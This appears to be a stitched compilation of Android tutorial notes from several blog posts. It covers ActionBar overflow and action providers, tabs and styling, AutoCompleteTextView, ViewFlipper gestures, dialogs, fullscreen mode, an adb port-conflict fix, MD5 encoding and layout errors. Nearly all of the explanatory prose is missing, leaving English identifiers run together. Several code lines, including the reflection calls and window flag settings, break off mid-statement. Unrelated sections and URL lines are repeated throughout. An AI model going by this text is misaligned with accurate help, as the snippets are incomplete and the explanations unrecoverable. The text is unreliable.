11.	 								}		
12.	 										
13.	 								@Override		
14.	 								public	boolean	onMenuItemActionCollapse(MenuItem	item)	{		
15.	 												Log.d("TAG",	"on	collapse");		
16.	 												return	true;		
17.	 								}		
18.	 				});		
19.	 				return	super.onCreateOptionsMenu(menu);		
20.	 }		

MenuItemsetOnActionExpandListener()SearchViewonMenuItemActionExpand()
SearchViewonMenuItemActionCollapse()UI
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Overflow
ActionBaroverflowoverflowoverflowMenuoverflow
MenuoverflowMenu

	
ActionBaroverflowoverflowActionMenu

	
GoogleActionBaroverflow
ViewConfigurationsHasPermanentMenuKeyMenufalse

[java]	

01.	 @Override		
02.	 protected	void	onCreate(Bundle	savedInstanceState)	{		
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03.	 				......		
04.	 				setOverflowShowingAlways();		
05.	 }		
06.	 		
07.	 private	void	setOverflowShowingAlways()	{		
08.	 				try	{		
09.	 								ViewConfiguration	config	=	ViewConfiguration.get(
10.	 								Field	menuKeyField	=	ViewConfiguration.class.getDeclaredField(
11.	 								menuKeyField.setAccessible(true);		
12.	 								menuKeyField.setBoolean(config,	false);		
13.	 				}	catch	(Exception	e)	{		
14.	 								e.printStackTrace();		
15.	 				}		
16.	 }		

onCreate()setOverflowShowingAlways()sHasPermanentMenuKeyfalse

Menuoverflow



Overflow
overflowActionAction

	
GoogleoverflowActionoverflowAction
overflowActionMenuBuildersetOptionalIconsVisibleoverflowtrueAction

[java]	

01.	 @Override		
02.	 public	boolean	onMenuOpened(int	featureId,	Menu	menu)	{		
03.	 				if	(featureId	==	Window.FEATURE_ACTION_BAR	&&	menu	!=	
04.	 								if	(menu.getClass().getSimpleName().equals("MenuBuilder"
05.	 												try	{		
06.	 																Method	m	=	menu.getClass().getDeclaredMethod(
07.	 																m.setAccessible(true);		
08.	 																m.invoke(menu,	true);		
09.	 												}	catch	(Exception	e)	{		
10.	 												}		
11.	 								}		
12.	 				}		
13.	 				return	super.onMenuOpened(featureId,	menu);		
14.	 }		

onMenuOpened()overflowMenuBuildersetOptionalIconsVisibletrue

	
ActionBarActionBar	 Android	ActionBar()

	< http://blog.csdn.net/guolin_blog/article/details/18234477>
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Android	ActionBar()

ActionBarActionBar Android	ActionBar()
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Action	Provider

Action	ViewAction	ProviderActionAction	Provider

Action	Provider<item>actionViewClassAction	ProviderActionProviderAction
ProviderAndroidAction	ProviderShareActionProvider

Action	ProvideronOptionsItemSelected()onPerformDefaultAction()

ShareActionProvidermenuShareActionProvider

[html]	

01.	 <menu	xmlns:android="http://schemas.android.com/apk/res/android"
02.	 				xmlns:tools="http://schemas.android.com/tools"		
03.	 				tools:context="com.example.actionbartest.MainActivity"
04.	 		
05.	 				<item		
06.	 								android:id="@+id/action_share"		
07.	 								android:actionProviderClass="android.widget.ShareActionProvider"
08.	 								android:showAsAction="ifRoom"		
09.	 								android:title="@string/action_share"	/>		
10.	 				......		
11.	 		
12.	 </menu>		

ShareActionProvidertitleoverflow

IntentonCreateOptionsMenu()MenuItemgetActionProvider()ShareActionProvider
setShareIntent()Intent

[java]	

01.	 @Override		
02.	 public	boolean	onCreateOptionsMenu(Menu	menu)	{		
03.	 				MenuInflater	inflater	=	getMenuInflater();		
04.	 				inflater.inflate(R.menu.main,	menu);		
05.	 				MenuItem	shareItem	=	menu.findItem(R.id.action_share);		
06.	 				ShareActionProvider	provider	=	(ShareActionProvider)	shareItem.getActionProvider();		
07.	 				provider.setShareIntent(getDefaultIntent());		
08.	 				......		
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09.	 				return	super.onCreateOptionsMenu(menu);		
10.	 }		
11.	 		
12.	 private	Intent	getDefaultIntent()	{		
13.	 				Intent	intent	=	new	Intent(Intent.ACTION_SEND);		
14.	 				intent.setType("image/*");		
15.	 				return	intent;		
16.	 }		

getDefaultIntent()IntentIntent

ShareActionProvideroverflowAction	ProviderShareActionProviderAction
ProviderAction	Provider

[java]	

01.	 public	class	MyActionProvider	extends	ActionProvider	{		
02.	 						
03.	 				public	MyActionProvider(Context	context)	{		
04.	 								super(context);		
05.	 				}		
06.	 		
07.	 				@Override		
08.	 				public	View	onCreateActionView()	{		
09.	 								return	null;		
10.	 				}		
11.	 		
12.	 				@Override		
13.	 				public	void	onPrepareSubMenu(SubMenu	subMenu)	{		
14.	 								subMenu.clear();		
15.	 								subMenu.add("sub	item	1").setIcon(R.drawable.ic_launcher)		
16.	 																.setOnMenuItemClickListener(new	OnMenuItemClickListener()	{		
17.	 																				@Override		
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18.	 																				public	boolean	onMenuItemClick(MenuItem	item)	{		
19.	 																								return	true;		
20.	 																				}		
21.	 																});		
22.	 								subMenu.add("sub	item	2").setIcon(R.drawable.ic_launcher)		
23.	 																.setOnMenuItemClickListener(new	OnMenuItemClickListener()	{		
24.	 																				@Override		
25.	 																				public	boolean	onMenuItemClick(MenuItem	item)	{		
26.	 																								return	false;		
27.	 																				}		
28.	 																});		
29.	 				}		
30.	 		
31.	 				@Override		
32.	 				public	boolean	hasSubMenu()	{		
33.	 								return	true;		
34.	 				}		
35.	 		
36.	 }		

MyActionProviderActionProviderAction	ProviderhasSubMenu()trueonPrepareSubMenu
SubMenuadd()

menuMyActionProvider

[html]	

01.	 <menu	xmlns:android="http://schemas.android.com/apk/res/android"
02.	 				xmlns:tools="http://schemas.android.com/tools"		
03.	 				tools:context="com.example.actionbartest.MainActivity"
04.	 		
05.	 				<item		
06.	 								android:id="@+id/action_share"		
07.	 								android:actionProviderClass="com.example.actionbartest.MyActionProvider"
08.	 								android:icon="@drawable/ic_launcher"		
09.	 								android:showAsAction="ifRoom"		
10.	 								android:title="@string/action_share"	/>		
11.	 				......		
12.	 		
13.	 </menu>		
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Tabs

TabsAndroidActionBarTabsTabsAction

TabsAction

	

ActionBarTab

1.	ActionBar.TabListenerTabTabTab

2.TabActionBar.TabsetTabListener()ActionBar.TabListenersetText()Tab

3.ActionBaraddTab()TabActionBar

ActionBar.TabListener

[java]	

01.	 public	class	TabListener<T	extends	Fragment>	implements
02.	 				private	Fragment	mFragment;		
03.	 				private	final	Activity	mActivity;		
04.	 				private	final	String	mTag;		
05.	 				private	final	Class<T>	mClass;		
06.	 		
07.	 				public	TabListener(Activity	activity,	String	tag,	Class<T>	clz)	{		
08.	 								mActivity	=	activity;		
09.	 								mTag	=	tag;		
10.	 								mClass	=	clz;		
11.	 				}		
12.	 		
13.	 				public	void	onTabSelected(Tab	tab,	FragmentTransaction	ft)	{		
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14.	 								if	(mFragment	==	null)	{		
15.	 												mFragment	=	Fragment.instantiate(mActivity,	mClass.getName());		
16.	 												ft.add(android.R.id.content,	mFragment,	mTag);		
17.	 								}	else	{		
18.	 												ft.attach(mFragment);		
19.	 								}		
20.	 				}		
21.	 		
22.	 				public	void	onTabUnselected(Tab	tab,	FragmentTransaction	ft)	{		
23.	 								if	(mFragment	!=	null)	{		
24.	 												ft.detach(mFragment);		
25.	 								}		
26.	 				}		
27.	 		
28.	 				public	void	onTabReselected(Tab	tab,	FragmentTransaction	ft)	{		
29.	 				}		
30.	 }		

TabonTabSelected()mFragmentFragmentFragmentTransactionadd()
FragmentTransactionattach()

TabFragmentTransactiondetach()UI

TabonTabReselected()

TabActionBar.TabTabFragmentTabArtistAlbumTabFragmentArtistFragment

[java]	

01.	 public	class	ArtistFragment	extends	Fragment	{		
02.	 		
03.	 				@Override		
04.	 				public	View	onCreateView(LayoutInflater	inflater,	ViewGroup	container,		
05.	 												Bundle	savedInstanceState)	{		
06.	 								TextView	textView	=	new	TextView(getActivity());		
07.	 								textView.setText("Artist	Fragment");		
08.	 								textView.setGravity(Gravity.CENTER_HORIZONTAL);		
09.	 								LinearLayout	layout	=	new	LinearLayout(getActivity());		
10.	 								LayoutParams	params	=	new	LayoutParams(LayoutParams.MATCH_PARENT,	LayoutParams.WRAP_CONTENT);		
11.	 								layout.addView(textView,	params);		
12.	 								return	layout;		
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13.	 				}		
14.	 		
15.	 }		

TextViewArtist	Fragment

AlbumFragment

[java]	

01.	 public	class	AlbumFragment	extends	Fragment	{		
02.	 						
03.	 				@Override		
04.	 				public	View	onCreateView(LayoutInflater	inflater,	ViewGroup	container,		
05.	 												Bundle	savedInstanceState)	{		
06.	 								TextView	textView	=	new	TextView(getActivity());		
07.	 								textView.setText("Album	Fragment");		
08.	 								textView.setGravity(Gravity.CENTER_HORIZONTAL);		
09.	 								LinearLayout	layout	=	new	LinearLayout(getActivity());		
10.	 								LayoutParams	params	=	new	LayoutParams(LayoutParams.MATCH_PARENT,	LayoutParams.WRAP_CONTENT);		
11.	 								layout.addView(textView,	params);		
12.	 								return	layout;		
13.	 				}		
14.	 		
15.	 }		

FragmentTabaddTab()ActionBarActivityonCreate()

[java]	

01.	 @Override		
02.	 protected	void	onCreate(Bundle	savedInstanceState)	{		
03.	 				super.onCreate(savedInstanceState);		
04.	 				setTitle("" );		
05.	 				ActionBar	actionBar	=	getActionBar();		
06.	 				actionBar.setDisplayHomeAsUpEnabled(true);		
07.	 				setOverflowShowingAlways();		
08.	 				actionBar.setNavigationMode(ActionBar.NAVIGATION_MODE_TABS);		
09.	 				Tab	tab	=	actionBar		
10.	 												.newTab()		
11.	 												.setText(R.string.artist)		

http://blog.csdn.net/guolin_blog/article/details/25466665
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12.	 												.setTabListener(		
13.	 																				new	TabListener<ArtistFragment>

(this,	"artist",		
14.	 																												ArtistFragment.class));		
15.	 				actionBar.addTab(tab);		
16.	 				tab	=	actionBar		
17.	 												.newTab()		
18.	 												.setText(R.string.album)		
19.	 												.setTabListener(		
20.	 																				new	TabListener<AlbumFragment>

(this,	"album",		
21.	 																												AlbumFragment.class));		
22.	 				actionBar.addTab(tab);		
23.	 }		

TabActionBarnewTab()TabsetText()setTabListener()ActionBaraddTab()Tab
ActionBar

	



ActionBar

ActionBarActionBarActionBarAndroid

AndroidActivity"dark""light"ActionBar

1.	
AndroidActivityActionBar

Theme.Holo
Theme.Holo.Light

	

	
ActivityAndroidManifest.xml<application><activity>android:theme

[html]	

01.	 <application	android:theme="@android:style/Theme.Holo.Light"

ActionBarActivity Theme.Holo.Light.DarkActionBar

	
2.	
ActionBaractionBarStylebackgrounddrawable

http://developer.android.com/reference/android/R.style.html#Theme_Holo
http://developer.android.com/reference/android/R.style.html#Theme_Holo_Light
http://blog.csdn.net/guolin_blog/article/details/25466665
http://blog.csdn.net/guolin_blog/article/details/25466665
https://code.csdn.net/snippets/398375
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styles.xml

[html]	

01.	 <resources>		
02.	 		
03.	 				<style	name="CustomActionBarTheme"	parent="@android:style/Theme.Holo.Light"
04.	 								<item	name="android:actionBarStyle">@style/MyActionBar
05.	 				</style>		
06.	 		
07.	 				<style	name="MyActionBar"	parent="@android:style/Widget.Holo.Light.ActionBar"
08.	 								<item	name="android:background">#f4842d</item>		
09.	 				</style>		
10.	 		
11.	 </resources>		

CustomActionBarThemeTheme.Holo.LightactionBarStyleMyActionBar
background

	
ActionBarActionBarTabsTabsstyles.xml

[html]	

01.	 <resources>		
02.	 		
03.	 				<style	name="CustomActionBarTheme"	parent="@android:style/Theme.Holo.Light"
04.	 								<item	name="android:actionBarStyle">@style/MyActionBar
05.	 				</style>		
06.	 		
07.	 				<style	name="MyActionBar"	parent="@android:style/Widget.Holo.Light.ActionBar"
08.	 								<item	name="android:background">#f4842d</item>		

http://blog.csdn.net/guolin_blog/article/details/25466665
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09.	 								<item	name="android:backgroundStacked">#d27026</
10.	 				</style>		
11.	 		
12.	 </resources>		

backgroundStackedTabs

	
3.	
ActionBarActionBar
styles.xml

[html]	

01.	 <resources>		
02.	 		
03.	 				......		
04.	 		
05.	 				<style	name="MyActionBar"	parent="@android:style/Widget.Holo.Light.ActionBar"
06.	 								......		
07.	 								<item	name="android:titleTextStyle">@style/MyActionBarTitleText
08.	 				</style>		
09.	 		
10.	 				<style	name="MyActionBarTitleText"	parent="@android:style/TextAppearance.Holo.Widget.ActionBar.Title"
11.	 								<item	name="android:textColor">#fff</item>		
12.	 				</style>		
13.	 		
14.	 </resources>		

MyActionBartitleTextStyleMyActionBarTitleTexttextColor#fff
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OKActionBarTabstyles.xml

[html]	

01.	 <resources>		
02.	 		
03.	 				<style	name="CustomActionBarTheme"	parent="@android:style/Theme.Holo.Light"
04.	 								<item	name="android:actionBarStyle">@style/MyActionBar
05.	 								<item	name="android:actionBarTabTextStyle">@style/MyActionBarTabText
06.	 				</style>		
07.	 						
08.	 				<style	name="MyActionBarTabText"		
09.	 											parent="@android:style/Widget.Holo.ActionBar.TabText"
10.	 								<item	name="android:textColor">#fff</item>		
11.	 				</style>		
12.	 		
13.	 </resources>		

CustomActionBarThemeactionBarTabTextStyleMyActionBarTabTexttextColor

	
4.	Tab	Indicator

http://blog.csdn.net/guolin_blog/article/details/25466665
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TabTabTab	IndicatorTab	IndicatorTab	Indicator
actionBarTabStyleTabbackgroundbackgroundstate-list	drawable
Tab

											 											 											 	
Tabres/drawable/actionbar_tab_indicator.xml

[html]	

01.	 <?xml	version="1.0"	encoding="utf-8"?>		
02.	 <selector	xmlns:android="http://schemas.android.com/apk/res/android"
03.	 		
04.	 				<item		android:state_selected="false"		
05.	 										android:state_pressed="false"		
06.	 										android:drawable="@drawable/tab_unselected"	/>
07.	 				<item	android:state_selected="true"		
08.	 										android:state_pressed="false"		
09.	 										android:drawable="@drawable/tab_selected"	/>		
10.	 				<item	android:state_selected="false"		
11.	 										android:state_pressed="true"		
12.	 										android:drawable="@drawable/tab_unselected_pressed"
13.	 				<item	android:state_selected="true"		
14.	 										android:state_pressed="true"		
15.	 										android:drawable="@drawable/tab_selected_pressed"
16.	 		
17.	 </selector>		

state-list	drawablestyle.xml

[html]	

01.	 <resources>		
02.	 		
03.	 				<style	name="CustomActionBarTheme"	parent="@android:style/Theme.Holo.Light"
04.	 								......		
05.	 								<item	name="android:actionBarTabStyle">@style/MyActionBarTabs
06.	 				</style>		
07.	 						
08.	 				<style	name="MyActionBarTabs"	parent="@android:style/Widget.Holo.ActionBar.TabView"
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09.	 								<item	name="android:background">@drawable/actionbar_tab_indicator
10.	 				</style>		
11.	 		
12.	 </resources>		

actionBarTabStyleMyActionBarTabsbackgroundactionbar_tab_indicator

	
Tab	Indicator
Action	Bar
ActionBarAction	Bar

	< http://blog.csdn.net/guolin_blog/article/details/25466665>
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AutoCompleteTextView

		 	

AutoCompleteTextViewEditText
AutoCompleteTextViewList
AutoCompleteTextViewwww.google.com
google

main.xml
<AutoCompleteTextView
			android:layout_width="fill_parent“	
android:layout_height="wrap_content“
		<!–	completionThreshold		,1à
			android:completionThreshold="1“	
			android:id="@+id/name"	/>

MultiAutoCompleteTextView

	



AutoCompleteTextView
MultiAutoCompleteTextView,

MultiAutoCompleteTextViewsetTokenizer
MultiAutoCompleteTextView.CommaTokenizer

main.xml
<MultiAutoCompleteTextView
				android:id="@+id/multi_name"				
					android:layout_width="fill_parent"
					android:layout_height="wrap_content"
					android:completionThreshold="1"	/>

	public	void	onCreate(Bundle	savedInstanceState)	{
									
								super.onCreate(savedInstanceState);
								setContentView(R.layout.main);	
							
								autotext	=	(AutoCompleteTextView)
this.findViewById(R.id.name);
								multiautotext	=		(MultiAutoCompleteTextView)
this.findViewById(R.id.multi_name);
							
								String[]	names	=	{"","","","",""};
								ArrayAdapter<String>	adapter	=	new	ArrayAdapter<String>
(this,	android.R.layout.simple_dropdown_item_1line,names);



								autotext.setAdapter(adapter);
							
								multiautotext.setAdapter(adapter);
								multiautotext.setTokenizer(new
MultiAutoCompleteTextView.CommaTokenizer());



ViewFipper
ViewFlipper

GestureDetector

ViewFlipper
1view
vf.addView(view);
2view
vf.showPrevious();
3view
vf.showNext();
4
①
vf.setInAnimation(this,	R.anim.vf_in);
②
vf.setOutAnimation(this,	R.anim.vf_out);

GestureDetector
1	 SimpleOnGestureListener
2 	onFling()
3Activity 	onTouchEvent()
mGestureDetector.onTouchEvent(event);

package	cn.zengfansheng.viewflipper;
import	android.app.Activity;
import	android.graphics.Color;
import	android.os.Bundle;
import	android.util.Log;
import	android.view.GestureDetector;
import	android.view.MotionEvent;
import	android.view.View;
import	android.widget.ImageView;
import	android.widget.TextView;
import	android.widget.ViewFlipper;
public	class	MainActivity	extends	Activity	{



				protected	static	final	String	TAG	=	"MainActivity";
				private	ViewFlipper	vf;
				private	GestureDetector	mGestureDetector;//	/
				@Override
				protected	void	onCreate(Bundle	savedInstanceState)	{
								super.onCreate(savedInstanceState);
								setContentView(R.layout.activity_main);
								vf	=	(ViewFlipper)	this.findViewById(R.id.vf);
								TextView	tv1	=	new	TextView(this);
								tv1.setText("tv1" );
								tv1.setBackgroundColor(Color.BLUE);
								ImageView	iv2	=	new	ImageView(this);
								iv2.setImageResource(R.drawable.ic_launcher);
								TextView	tv3	=	new	TextView(this);
								tv3.setText("tv3" );
								tv3.setBackgroundColor(Color.YELLOW);
								//	ViewFilpper
								vf.addView(tv1);
								vf.addView(iv2);
								vf.addView(tv3);
								//	
								mGestureDetector	=	new	GestureDetector(this,
																new	GestureDetector.SimpleOnGestureListener()	{
																				@Override
																				public	boolean	onFling(MotionEvent	e1,	MotionEvent	e2,
																												float	velocityX,	float	velocityY)	{
																								//	e1:
																								//	e2:
																								//	velocityXx
																								//	velocityY:y
																								if	(Math.abs(e1.getY()	-	e2.getY())	>	100)	{//	//,
																												Log.i(TAG,	"" );
																												return	false;
																								}
																								if	(e1.getX()	-	e2.getX()	>	100	&&	Math.abs(velocityX)>100)	{//	
																												showNext();
																												return	false;



																								}
																								if	(e2.getX()	-	e1.getX()	>	100	&&	Math.abs(velocityX)>100)	{//	
																												showPre();
																												return	false;
																								}
																								return	super.onFling(e1,	e2,	velocityX,	velocityY);//return	false
																				}
								});
				}
				@Override
				public	boolean	onTouchEvent(MotionEvent	event)	{
								//		
								mGestureDetector.onTouchEvent(event);
								//			,
								//			
								return	super.onTouchEvent(event);
				}
				public	void	pre(View	view)	{
								showPre();
				}
				private	void	showPre()	{
								vf.showPrevious();
								vf.setInAnimation(this,	R.anim.vf_in);
								vf.setOutAnimation(this,	R.anim.vf_out);
				}
				public	void	next(View	view)	{
								showNext();
				}
				private	void	showNext()	{
								vf.showNext();
								vf.setInAnimation(this,	R.anim.vf_in);
								vf.setOutAnimation(this,	R.anim.vf_out);
				}
}





AlertDialogProgressDialog

1AlertDialog 2ProgressDialog
① pDialog.setProgressStyle(ProgressDialog.STYLE_HORIZONTAL);//
②

	pDialog.setButton(DialogInterface.BUTTON_NEGATIVE,getString(android.R.string.cancel
③ 	pDialog.setOnDismissListener(new	OnDismissListener()	{}
④ 	pDialog.setProgress(1	+	i);
⑤ 	pDialog.incrementProgressBy(1);
3Android
android.R.string.ok
OK
android.R.string.cancel
Cancel
android.R.drawable.ic_dialog_alert

	
DialogInterface.BUTTON_NEGATIVE
//	2 alertdialog
AlertDialog.Builder	builder	=	new	AlertDialog.Builder(this);//	ActivityContext
builder.setTitle("" );//	
builder.setMessage("" );//	
builder.setIcon(android.R.drawable.ic_dialog_alert);//	
builder.setCancelable(false);//	
//	3 okcancel
builder.setNegativeButton(android.R.string.cancel,	new	DialogInterface.OnClickListener()	{
				
				//	4cancel
				@Override
				public	void	onClick(DialogInterface	dialog,	int	which)	{
								dialog.dismiss();
				}
});
builder.setPositiveButton(android.R.string.ok,	new	DialogInterface.OnClickListener()	{
				
				//	5 okProgressDialog
				@Override
				public	void	onClick(DialogInterface	dialog,	int	which)	{
								//
								canDelete	=	true;
								
								//
								pDialog	=	new	ProgressDialog(ConversationUI.this);
								pDialog.setTitle("" );//
								pDialog.setMax(menuItemSet.size());//
								pDialog.setIcon(android.R.drawable.ic_dialog_alert);//
								pDialog.setProgressStyle(ProgressDialog.STYLE_HORIZONTAL);//
								//



								pDialog.setButton(DialogInterface.BUTTON_NEGATIVE,getString(android.R.string.cancel),	new	DialogInterface.OnClickListener()	{
												
												@Override
												public	void	onClick(DialogInterface	dialog,	int	which)	{
																//																																
																canDelete	=	false;
																pDialog.dismiss();
												}
								});
								//
								pDialog.setOnDismissListener(new	OnDismissListener()	{
												
												@Override
												public	void	onDismiss(DialogInterface	dialog)	{
																//	6list
																changeDisplayMode(DisplayMode.list);
																Toast.makeText(ConversationUI.this,	"," +deleteMsgCount+"" ,	Toast.LENGTH_SHORT).show();
												}
								});
								//
								pDialog.show();
								//
								new	Thread(new	DeleteMsg()).start();
								dialog.dismiss();//
				}
});
builder.show();

①

	
②



android	

activity
android:theme="@android:style/Theme.Light.NoTitleBar.Fullscreen"	

onCreate()	 setContentView(R.layout.activity_main);		
//	title
requestWindowFeature(Window.FEATURE_NO_TITLE);
//	Activity 			
getWindow().setFlags(WindowManager.LayoutParams.FLAG_FULLSCREEN,WindowManager.LayoutParams.

/**
	*	
	*	
	*	@param	enable
	*												truefalse
	*/
private	void	full(boolean	enable)	{
				if	(enable)	{
								WindowManager.LayoutParams	lp	=	getWindow().getAttributes();
								lp.flags	|=	WindowManager.LayoutParams.FLAG_FULLSCREEN;
								getWindow().setAttributes(lp);
								getWindow().addFlags(WindowManager.LayoutParams.FLAG_LAYOUT_NO_LIMITS
				}	else	{
								WindowManager.LayoutParams	attr	=	getWindow().getAttributes();
								attr.flags	&=	(~WindowManager.LayoutParams.FLAG_FULLSCREEN);
								getWindow().setAttributes(attr);
								getWindow().clearFlags(WindowManager.LayoutParams.FLAG_LAYOUT_NO_LIMITS
				}
}



		
android

	



android	daemon	not	running.	starting	it	now	on	port	5037	ADB
server	didn't	ACK

android	daemon	not	running.	starting	it	now	on	port	5037	ADB	 server	didn't
ACK
	
1cmddosandroid-sdk-windows\platform-tools
adb	start-server

*	daemon	not	running.	starting	it	now	on	port	5037	*
ADB	server	didn't	ACK
*	failed	to	start	daemon	*
	
	
2
adb	nodaemon	server

cannot	bind	'tcp:5037'
adb	server	
	
	
35037
netstat	-ano	|	findstr	"5037"

TCP				127.0.0.1:5037									0.0.0.0:0														LISTENING							17340

	
4kill17340
		



	
5
netstat	-ano	|	findstr	"5037"



Starting	emulator	for	AVD	'sophone'
WARNING:	Data	partition	already	in	use.	Changes	will	not	persist!
WARNING:	SD	Card	image	already	in	use:
C:\Users\hacket\.android\avd\sophone.avd/sdcard.img
WARNING:	Cache	partition	already	in	use.	Changes	will	not	persist!
creating	window	0	0	240	320
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android	adb	adb	server	is	out	of	date.	killing...	ADB	server	didn't	ACK	*	failed	to	start	daemon	*

	-	2
	-	2

+

Eclipseadb

--

1.	 adb	server	is	out	of	date.		killing...		
2.	 ADB	server	didn't	ACK		
3.	 *	failed	to	start	daemon	*

adb

--

.

.

--

1.adb	nodaemon	server

	

adb5037kill	it

2.netstat	-ano	|	findstr	"5037"	

	

127.0.0.1:50375037PID9056

3.”“	-->-->			PID()“”“”

4.PID9056“”okadb

	

ok

killadb
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android	adb	adb	server	is	out	of	date.	killing...	ADB	server	didn't	ACK	*	failed	to	start	daemon	*

	-	2
	-	2 0 0

()

Eclipseadb

adb	server	is	out	of	date.		killing...		
ADB	server	didn't	ACK		
*	failed	to	start	daemon	*

adb

.

1.adb	nodaemon	server

adb5037kill	it

2.netstat	-ano	|	findstr	"5037"	

127.0.0.1:50375037PID9056

3.”“	-->-->			PID()“”“”

4.PID9056“”okadb

ok

killadb

Android

	 	 	



Eclipse(Android	)

Android	SDKADTAndroid	Developer	Toolkit20.0.0
18.0.0ADT
EclipseE:\Program	Files\android-sdk-
windows\tools\lib\plugin.prop	
#	begin	plugin.prop
		plugin.version=20.0.0
		#	end	plugin.prop
20.0.0
#	begin	plugin.prop
	plugin.version=18.0.0
	#	end	plugin.prop
OKEclipse

	< http://blog.csdn.net/stanleyqiu/article/details/7939466>
	

http://blog.csdn.net/stanleyqiu/article/details/7939466


ADTappcompat_v7
2014/6/8		8:57:46

								AndroidADT22.6.0appcompat_v7 appcompat_v7Google
2.14.0

SDKAndroid4.0



Camerajava.lang.RuntimeException:	Fail	to	connect	to	camera
service

Camera
java.lang.RuntimeException:	Fail	to	connect	to	camera	service
CameraCamera
Camara
①Camera
Camera	camera	=	Camare.open()
②Camera
camera.release();
cmera	=	null;



	Androidmd5

md5
gbkutf-8
gbkutf-8
gbkutf-83

①	 md5Info.getBytes("utf-8")byte(utf-8)
②bytemd5			android

package	cn.zengfansheng.md5;
import	org.apache.commons.codec.digest.DigestUtils;
public	class	Md5Test	{
				public	static	void	main(String[]	args)	throws	Exception	{
								//	note*********************	1********************
								
								String	timeStamp	=	"200911131015339";
								String	pass	=	"ab62a694d8bf6ced1fab6acd48d02f8";
								String	body	=	"<body><oelement><errorcode>0</errorcode><errormsg>
</errormsg></oelement></body>";
								String	md5Info	=	timeStamp	+	pass	+	body;
								printBytes(md5Info);//	 utf-8
								md5Info	=	DigestUtils.md5Hex(md5Info.getBytes("utf-8"));
								String	md5Hex	=	DigestUtils.md5Hex(md5Info);
								System.out.println(md5Hex);//	edfcb7ffd3e5ce7d49059d93fd8d070d
								//	note*********************2*********************
								//	md5
								//	String	name	=	"";
								//
								//	printBytes(name);
								//	//	[-27-80-113-24-125-100]
								//
								//	printBytes(name,	"utf-8");
								//	//	utf-8:[-27-80-113-24-125-100]
								//
								//	printBytes(name,	"gbk");
								//	//	gbk:[-48-95-54-92]



								//
								//	DigestUtils.md5Hex(name);
								//	System.out.println("utf-8,");
								//	1 gbkead36ad8449b6e26e4951fe347de9357
								//	2 utf-858fded57f6f33b37e5900762b96aa768
								
								//	1adminutf-8md5:21232f297a57a5a743894a0e4a801fc3
								//	2admingbkmd5md5:21232f297a57a5a743894a0e4a801fc3
								
								//	md5
								//	1 utf-8md5
								//	2 utf-8md5 gbk2 utf-83
				}
				/**
					*	
					*	
					*	@param	str
					*/
				public	static	void	printBytes(String	str)	{
								byte[]	bytes	=	str.getBytes();
								System.out.print("[");
								for	(byte	b	:	bytes)	{
												System.out.print(b);
								}
								System.out.println("]");
				}
				
				/**
					*	charsetName
					*	
					*	@param	str
					*	@param	charsetName
					*	@throws	Exception
					*/
				public	static	void	printBytes(String	str,	String	charsetName)	throws	Exception	{
								byte[]	bytes	=	str.getBytes(charsetName);
								System.out.print("[");



								for	(byte	b	:	bytes)	{
												System.out.print(b);
								}
								System.out.println("]");
				}
}



surfaceview	setDisplayIllegalArgumentException:	The	surface	has	been	released

surfaceview	setDisplayIllegalArgumentException:	The	surface	has	been
released

Surfaceview	+	Mediaplayerdemo

SurfaceViewSurfaceview	SurfaceHolder.CallbacksurfaceCreated
setDisplaySurfaceviewsetDisplaysurfaceCreated

http://blog.csdn.net/ma5429/article/details/9359771


ListViewemptyView
listview/view

listviewview
①viewlistviewxml
②viewlistviewviewgroup

ListView ViewListView——setEmptyView(View	v)——ListView
View	hierarchyViewaddView hierarchysetEmptyView(View	v)

XML emptyView ViewhierarchyLayout

http://blog.csdn.net/ygc87/article/details/8349962
http://blog.csdn.net/ygc87/article/details/8349962
http://blog.csdn.net/ygc87/article/details/8349962
http://blog.csdn.net/ygc87/article/details/8349962
http://blog.csdn.net/ygc87/article/details/8349962
http://blog.csdn.net/ygc87/article/details/8349962
http://blog.csdn.net/ygc87/article/details/8349962
http://blog.csdn.net/ygc87/article/details/8349962


http://blog.csdn.net/ygc87/article/details/8349962
http://blog.csdn.net/ygc87/article/details/8349962
http://blog.csdn.net/ygc87/article/details/8349962
http://blog.csdn.net/ygc87/article/details/8349962
http://blog.csdn.net/ygc87/article/details/8349962


AndroidViewPagerjava.lang.IllegalArgumentException:	The	observer
is	null.

AndroidViewPagerjava.lang.IllegalArgumentException:	The	observer	is	null.

java.lang.IllegalArgumentException:	The	observer	is	null.
Android	4.0.3	mFrameLayout.removeAllViews();;	Android	2.3.3;	!

ViewPagerListViewViewPagejava.lang.IllegalArgumentException:	The
observer	is	null.
ViewPagerAndroid4.0
ViewPagerViewListViewunregisterDataSetObserverListView“The
observer	is	null”

ListViewAdapterunregisterDataSetObserver
@Override

				public	void	unregisterDataSetObserver(DataSetObserver	observer)	{

								if(observer	!=	null){

												super.unregisterDataSetObserver(observer);

								}

				}



No	resource	found	that	matches	the	given	name	(at
'layout_toLeftOf'	with	value	'@id/ib_channel6').

	<!--	channel5	-->
								<ImageButton
												android:layout_width="wrap_content"
												android:layout_height="wrap_content"
												android:layout_above="@id/ib_channel6"
												android:layout_marginBottom="20dp"
												android:layout_marginRight="10dp"
												android:layout_toLeftOf="@id/ib_channel6"
												android:background="@drawable/channel5"	>
								</ImageButton>
								<!--	channel6	-->
								<ImageButton
												android:id="@+id/ib_channel6"
												android:layout_width="wrap_content"
												android:layout_height="wrap_content"
												android:layout_above="@id/ib_channel7"
												android:layout_alignParentRight="true"
												android:layout_marginBottom="20dp"
												android:layout_marginRight="35dp"
												android:background="@drawable/channel6"	>
								</ImageButton>
								<!--	channel7	-->
								<ImageButton
												android:id="@+id/ib_channel7"
												android:layout_width="wrap_content"
												android:layout_height="wrap_content"
												android:layout_alignParentBottom="true"
												android:layout_alignParentRight="true"
												android:layout_marginBottom="10dp"
												android:layout_marginRight="12dp"
												android:background="@drawable/channel7"	>
								</ImageButton>

Problems
Description				Resource				Path				Location				Type
error:	Error:	No	resource	found	that	matches	the	given	name	(at	'layout_toLeftOf'	with



value	'@id/ib_channel6').				activity_youku.xml				/YoukuMenu/res/layout				line	128			
Android	AAPT	Problem
error:	Error:	No	resource	found	that	matches	the	given	name	(at	'layout_above'	with
value	'@id/ib_channel6').				activity_youku.xml				/YoukuMenu/res/layout				line	128			
Android	AAPT	Problem
error:	Error:	No	resource	found	that	matches	the	given	name	(at	'layout_above'	with
value	'@id/ib_channel7').				activity_youku.xml				/YoukuMenu/res/layout				line	140			
Android	AAPT	Problem
xml <!--	channel5	-->	<!--	channel6	--><!--	channel6	-->	<!--	channel7-->

	RelativeLayout	ID	@+id/ib_channel6@+id/ib_channel7 channel5	
android:layout_above="@id/test_bottom_buttons"	ID“”
“”

1 idchannel5channel6idchannel6channel7idchannel6channel5
